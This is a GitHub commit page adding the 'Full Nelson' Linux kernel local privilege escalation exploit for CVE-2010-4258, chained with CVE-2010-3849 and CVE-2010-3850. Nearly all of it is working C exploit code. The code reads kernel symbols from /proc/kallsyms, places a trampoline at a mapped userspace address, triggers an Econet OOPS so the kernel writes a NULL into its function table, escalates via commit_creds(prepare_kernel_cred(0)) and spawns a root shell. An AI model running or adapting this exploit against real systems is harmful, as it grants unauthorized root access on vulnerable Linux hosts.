Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Commit 23243dc

Browse filesBrowse files
committed
1 parent a0fcc7f commit 23243dc
Copy full SHA for 23243dc

File tree

Expand file treeCollapse file tree

1 file changed

+278
-0
lines changed
Open diff view settings
Filter options
Expand file treeCollapse file tree

1 file changed

+278
-0
lines changed
Open diff view settings
Collapse file

‎CVE-2010-4258/exploit.c‎

Copy file name to clipboard
+278Lines changed: 278 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,278 @@
1+
/*
2+
* Linux Kernel <= 2.6.37 local privilege escalation
3+
* by Dan Rosenberg
4+
* @djrbliss on twitter
5+
*
6+
* Usage:
7+
* gcc full-nelson.c -o full-nelson
8+
* ./full-nelson
9+
*
10+
* This exploit leverages three vulnerabilities to get root, all of which were
11+
* discovered by Nelson Elhage:
12+
*
13+
* CVE-2010-4258
14+
* -------------
15+
* This is the interesting one, and the reason I wrote this exploit. If a
16+
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
17+
* word will be written to a user-specified pointer when that thread exits.
18+
* This write is done using put_user(), which ensures the provided destination
19+
* resides in valid userspace by invoking access_ok(). However, Nelson
20+
* discovered that when the kernel performs an address limit override via
21+
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
22+
* etc.), this override is not reverted before calling put_user() in the exit
23+
* path, allowing a user to write a NULL word to an arbitrary kernel address.
24+
* Note that this issue requires an additional vulnerability to trigger.
25+
*
26+
* CVE-2010-3849
27+
* -------------
28+
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
29+
* fairly benign as a local denial-of-service. It's a perfect candidate to
30+
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
31+
* subsequently calls sendmsg under KERNEL_DS.
32+
*
33+
* CVE-2010-3850
34+
* -------------
35+
* I wouldn't be able to reach the NULL pointer dereference and trigger the
36+
* OOPS if users weren't able to assign Econet addresses to arbitrary
37+
* interfaces due to a missing capabilities check.
38+
*
39+
* In the interest of public safety, this exploit was specifically designed to
40+
* be limited:
41+
*
42+
* * The particular symbols I resolve are not exported on Slackware or Debian
43+
* * Red Hat does not support Econet by default
44+
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
45+
* Debian
46+
*
47+
* However, the important issue, CVE-2010-4258, affects everyone, and it would
48+
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
49+
* more sophisticated version of this that doesn't have the roadblocks I put in
50+
* to prevent abuse by script kiddies.
51+
*
52+
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
53+
*
54+
* NOTE: the exploit process will deadlock and stay in a zombie state after you
55+
* exit your root shell because the Econet thread OOPSes while holding the
56+
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
57+
*
58+
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
59+
*/
60+
61+
// EDB-Note: You may need to add '#define _GNU_SOURCE' to compile in later versions
62+
63+
#include <stdio.h>
64+
#include <sys/socket.h>
65+
#include <fcntl.h>
66+
#include <sys/ioctl.h>
67+
#include <string.h>
68+
#include <net/if.h>
69+
#include <sched.h>
70+
#include <stdlib.h>
71+
#include <signal.h>
72+
#include <sys/utsname.h>
73+
#include <sys/mman.h>
74+
#include <unistd.h>
75+
76+
/* How many bytes should we clear in our
77+
* function pointer to put it into userspace? */
78+
#ifdef __x86_64__
79+
#define SHIFT 24
80+
#define OFFSET 3
81+
#else
82+
#define SHIFT 8
83+
#define OFFSET 1
84+
#endif
85+
86+
/* thanks spender... */
87+
unsigned long get_kernel_sym(char *name)
88+
{
89+
FILE *f;
90+
unsigned long addr;
91+
char dummy;
92+
char sname[512];
93+
struct utsname ver;
94+
int ret;
95+
int rep = 0;
96+
int oldstyle = 0;
97+
98+
f = fopen("/proc/kallsyms", "r");
99+
if (f == NULL) {
100+
f = fopen("/proc/ksyms", "r");
101+
if (f == NULL)
102+
goto fallback;
103+
oldstyle = 1;
104+
}
105+
106+
repeat:
107+
ret = 0;
108+
while(ret != EOF) {
109+
if (!oldstyle)
110+
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
111+
else {
112+
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
113+
if (ret == 2) {
114+
char *p;
115+
if (strstr(sname, "_O/") || strstr(sname, "_S."))
116+
continue;
117+
p = strrchr(sname, '_');
118+
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
119+
p = p - 4;
120+
while (p > (char *)sname && *(p - 1) == '_')
121+
p--;
122+
*p = '\0';
123+
}
124+
}
125+
}
126+
if (ret == 0) {
127+
fscanf(f, "%s\n", sname);
128+
continue;
129+
}
130+
if (!strcmp(name, sname)) {
131+
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
132+
"");
133+
fclose(f);
134+
return addr;
135+
}
136+
}
137+
138+
fclose(f);
139+
if (rep)
140+
return 0;
141+
fallback:
142+
uname(&ver);
143+
if (strncmp(ver.release, "2.6", 3))
144+
oldstyle = 1;
145+
sprintf(sname, "/boot/System.map-%s", ver.release);
146+
f = fopen(sname, "r");
147+
if (f == NULL)
148+
return 0;
149+
rep = 1;
150+
goto repeat;
151+
}
152+
153+
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
154+
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
155+
_commit_creds commit_creds;
156+
_prepare_kernel_cred prepare_kernel_cred;
157+
158+
static int __attribute__((regparm(3)))
159+
getroot(void * file, void * vma)
160+
{
161+
162+
commit_creds(prepare_kernel_cred(0));
163+
return -1;
164+
165+
}
166+
167+
/* Why do I do this? Because on x86-64, the address of
168+
* commit_creds and prepare_kernel_cred are loaded relative
169+
* to rip, which means I can't just copy the above payload
170+
* into my landing area. */
171+
void __attribute__((regparm(3)))
172+
trampoline()
173+
{
174+
175+
#ifdef __x86_64__
176+
asm("mov $getroot, %rax; call *%rax;");
177+
#else
178+
asm("mov $getroot, %eax; call *%eax;");
179+
#endif
180+
181+
}
182+
183+
/* Triggers a NULL pointer dereference in econet_sendmsg
184+
* via sock_no_sendpage, so it's under KERNEL_DS */
185+
int trigger(int * fildes)
186+
{
187+
int ret;
188+
struct ifreq ifr;
189+
190+
memset(&ifr, 0, sizeof(ifr));
191+
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
192+
193+
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
194+
195+
if(ret < 0) {
196+
printf("[*] Failed to set Econet address.\n");
197+
return -1;
198+
}
199+
200+
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
201+
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
202+
203+
/* Shouldn't get here... */
204+
exit(0);
205+
}
206+
207+
int main(int argc, char * argv[])
208+
{
209+
unsigned long econet_ops, econet_ioctl, target, landing;
210+
int fildes[4], pid;
211+
void * newstack, * payload;
212+
213+
/* Create file descriptors now so there are two
214+
references to them after cloning...otherwise
215+
the child will never return because it
216+
deadlocks when trying to unlock various
217+
mutexes after OOPSing */
218+
pipe(fildes);
219+
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
220+
fildes[3] = open("/dev/zero", O_RDONLY);
221+
222+
if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
223+
printf("[*] Failed to open file descriptors.\n");
224+
return -1;
225+
}
226+
227+
/* Resolve addresses of relevant symbols */
228+
printf("[*] Resolving kernel addresses...\n");
229+
econet_ioctl = get_kernel_sym("econet_ioctl");
230+
econet_ops = get_kernel_sym("econet_ops");
231+
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
232+
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
233+
234+
if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
235+
printf("[*] Failed to resolve kernel symbols.\n");
236+
return -1;
237+
}
238+
239+
if(!(newstack = malloc(65536))) {
240+
printf("[*] Failed to allocate memory.\n");
241+
return -1;
242+
}
243+
244+
printf("[*] Calculating target...\n");
245+
target = econet_ops + 10 * sizeof(void *) - OFFSET;
246+
247+
/* Clear the higher bits */
248+
landing = econet_ioctl << SHIFT >> SHIFT;
249+
250+
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
251+
PROT_READ | PROT_WRITE | PROT_EXEC,
252+
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
253+
254+
if ((long)payload == -1) {
255+
printf("[*] Failed to mmap() at target address.\n");
256+
return -1;
257+
}
258+
259+
memcpy((void *)landing, &trampoline, 1024);
260+
261+
clone((int (*)(void *))trigger,
262+
(void *)((unsigned long)newstack + 65536),
263+
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
264+
&fildes, NULL, NULL, target);
265+
266+
sleep(1);
267+
268+
printf("[*] Triggering payload...\n");
269+
ioctl(fildes[2], 0, NULL);
270+
271+
if(getuid()) {
272+
printf("[*] Exploit failed to get root.\n");
273+
return -1;
274+
}
275+
276+
printf("[*] Got root!\n");
277+
execl("/bin/sh", "/bin/sh", NULL);
278+
}

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.